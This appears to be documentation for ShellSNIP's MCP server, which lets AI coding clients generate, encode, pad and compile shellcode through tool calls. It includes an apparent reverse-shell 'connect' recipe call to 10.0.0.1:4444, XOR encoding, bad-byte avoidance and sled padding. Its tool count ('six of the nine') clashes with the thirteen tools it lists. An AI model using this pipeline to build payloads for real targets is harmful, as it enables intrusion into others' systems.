Guides

MCP Server

Expose the shellcode factory to AI clients via the Model Context Protocol.

MCP Server

server.py exposes ShellSNIP as an MCP (Model Context Protocol) server, built on FastMCP from the mcp package, so AI clients such as Claude Code, Cursor, or Windsurf can generate, encode, and compile shellcode through tool calls.

Transports

TransportDescription
stdioDefault. For Claude Code, Cursor, and other local MCP clients.
sseServer-Sent Events over HTTP.
streamable-httpBidirectional streamable HTTP, recommended for web deployments.
# stdio (default)
python server.py

# SSE on a custom host/port
python server.py --transport sse --host 0.0.0.0 --port 9090

# Streamable HTTP
python server.py --transport streamable-http --host 0.0.0.0 --port 9090

--host defaults to 127.0.0.1 and --port defaults to 8080; both only apply to the sse and streamable-http transports.

Claude Code integration

Add to your project's .mcp.json:

{
  "mcpServers": {
    "shellsnip": {
      "command": "python",
      "args": ["server.py"],
      "cwd": "/path/to/shellsnip"
    }
  }
}

Tools

ToolDescription
list_recipesList available recipes for a given os_/arch platform.
list_snippetsList reusable ASM snippets for a given os_/arch platform.
list_helpersList whitelisted Python helper functions with signatures and descriptions.
generate_from_recipeGenerate resolved NASM ASM from an existing recipe with parameters.
generate_from_templateGenerate resolved NASM ASM from custom template code using the engine.
list_encodersList available encoders (name, description, parameters).
list_padding_strategiesList code-cave filler strategies (none, nop, inert).
pad_shellcodePrepend a code-cave filler to a payload (hex, b64 or ASM input).
analyze_badcharsReport where forbidden bytes occur in a payload (offsets and counts).
assemble_blockAssemble/validate an isolated ASM block and report its size.
disassembleDisassemble raw bytes into Intel mnemonics, flagging bad chars.
encode_shellcodeEncode shellcode (hex bytes or ASM/template code) with a registered encoder.
compile_shellcodeCompile ASM (or template code) via NASM and return formatted output.

Six of the nine tools are platform-aware and accept os_ (win, posix, macos) and arch (32, 64): list_recipes, list_snippets, generate_from_recipe, generate_from_template, encode_shellcode and compile_shellcode. On those six an invalid combination raises a ValueError surfaced back to the client (_validate_platform checks against ShellSnipConstants.SUPPORTED_OS / SUPPORTED_ARCH). list_helpers, list_encoders and analyze_badchars take no platform parameters at all.

generate_from_recipe

generate_from_recipe(
    os_="posix",
    arch="64",
    recipe="connect",
    params={"ip": "10.0.0.1", "port": 4444},
)

generate_from_template

generate_from_template(
    os_="win",
    arch="64",
    template_code="[[SETUP_HASH_RESOLVER]]\n#push_command(_params.cmd, _params.visible)#",
    params={"cmd": "calc.exe", "visible": True},
)

encode_shellcode

encode_shellcode(
    encoding="xor",
    os_="posix",
    arch="64",
    input_type="hex",
    input_data="31c0b03c0f05",
)

input_type is "hex" (pre-compiled shellcode bytes) or "asm" (ShellSNIP template code, compiled first). encoder_params carries encoder-specific values (e.g. {"key": 65} or {"sentinel": 144}); template_params is only used when input_type="asm".

analyze_badchars

analyze_badchars(
    input_data="0041004200",
    input_type="hex",          # 'hex' or 'b64'
    bad_chars=r"\x00\x0a",     # '\x00\x0a', '0x00,0x0a', '00 0a', '00,0a'
)

Returns JSON with the payload size, a per-byte occurrence count and the exact offsets of every forbidden byte, so a payload can be localised rather than merely rejected.

assemble_block

assemble_block(
    code="push rax\nret 4",    # an isolated block: newline-separated, self-contained
    os_="posix",               # 'win' | 'posix' | 'macos'
    arch="64",                 # '32' | '64'
)
# -> {"size": 4, "hex": "50c20400", "raw": "\x50\xc2\x04\x00", ...}

Assembles a block, not a recipe: no template file, no parameters, no container object. Use it to validate a snippet, measure what an instruction costs in bytes, or turn a hand-written stub into a payload. NASM's own diagnostics are returned on failure, with the line number translated back to the block you sent.

Because the block is assembled as a flat binary, all three os_ values produce the same bytes — and unlike the recipe path, this works for macOS.

disassemble

disassemble(
    input_data="31c0b03c000f05",
    input_type="hex",          # 'hex' or 'b64'
    arch="64",
    os_="posix",
    bad_chars=r"\x00",         # same notations as analyze_badchars
)

Returns the decoded instruction listing — each entry with its offset, bytes, mnemonic and operands — plus the payload-wide bad-character report. Instructions holding a forbidden byte are flagged, which turns "0x00 occurs at offset 4" into "this instruction emits it".

list_padding_strategies

Lists the code-cave filler strategies with their parameters. Three are built in: none (no filler), nop (0x90 repeated) and inert (register self-moves and paired push/pop, never 0x90).

pad_shellcode

pad_shellcode(
    input_data="31c0b03c0f05",
    input_type="hex",          # 'hex', 'b64' or 'asm'
    pad_size=64,               # filler bytes to prepend
    pad_with="inert",          # 'none' | 'nop' | 'inert'
    bad_chars=r"\x00",         # filler bytes to avoid
    arch="64",
)

Prepends the filler for the wider buffer the payload will be dropped into, and returns the padded payload as hex with its sizes. The filler is a concatenation of whole instructions, so no partial instruction is left at the boundary with the payload.

inert never emits 0x90, at any size. bad_chars is a hard filter: units using a banned byte are discarded, and a request that cannot be met exactly is reported as an error rather than satisfied with a shorter or forbidden filler.

The shortest inert instruction is two bytes — the only one-byte no-op is 0x90, which this strategy must never emit — so pad_size=1, pad_with="inert" is refused by design.

compile_shellcode

compile_shellcode(
    asm_code="section .text\nglobal _start\n_start:\n  xor eax, eax\n  mov al, 60\n  syscall",
    os_="posix",
    arch="64",
    syntax="python",
)

Resources

URIDescription
shellsnip://docs/template-syntaxFull template syntax documentation, returned as a text resource.

Instructions

On session initialization, the server sends SHELLSNIP_INSTRUCTIONS — a short usage primer covering:

  • The recommended tool-call sequence (list_recipes → generate_from_recipe → compile_shellcode → list_encoders/encode_shellcode → list_padding_strategies/pad_shellcode);
  • The pipeline order create → compile → encode → pad → validate, and that padding runs after encoding so the filler sits outside the decoder stub;
  • The supported platforms (win_64, posix_64) plus the note that 32-bit blocks are accepted by assemble_block/disassemble;
  • That bad characters are a set, not a null check: the accepted notations, that every offending offset is reported, and that analyze_badchars never aborts on its own.

The primer is the contract an MCP client reads before calling anything, so it is kept in step with the shipped tool set rather than describing an older surface.

Copyright © 2026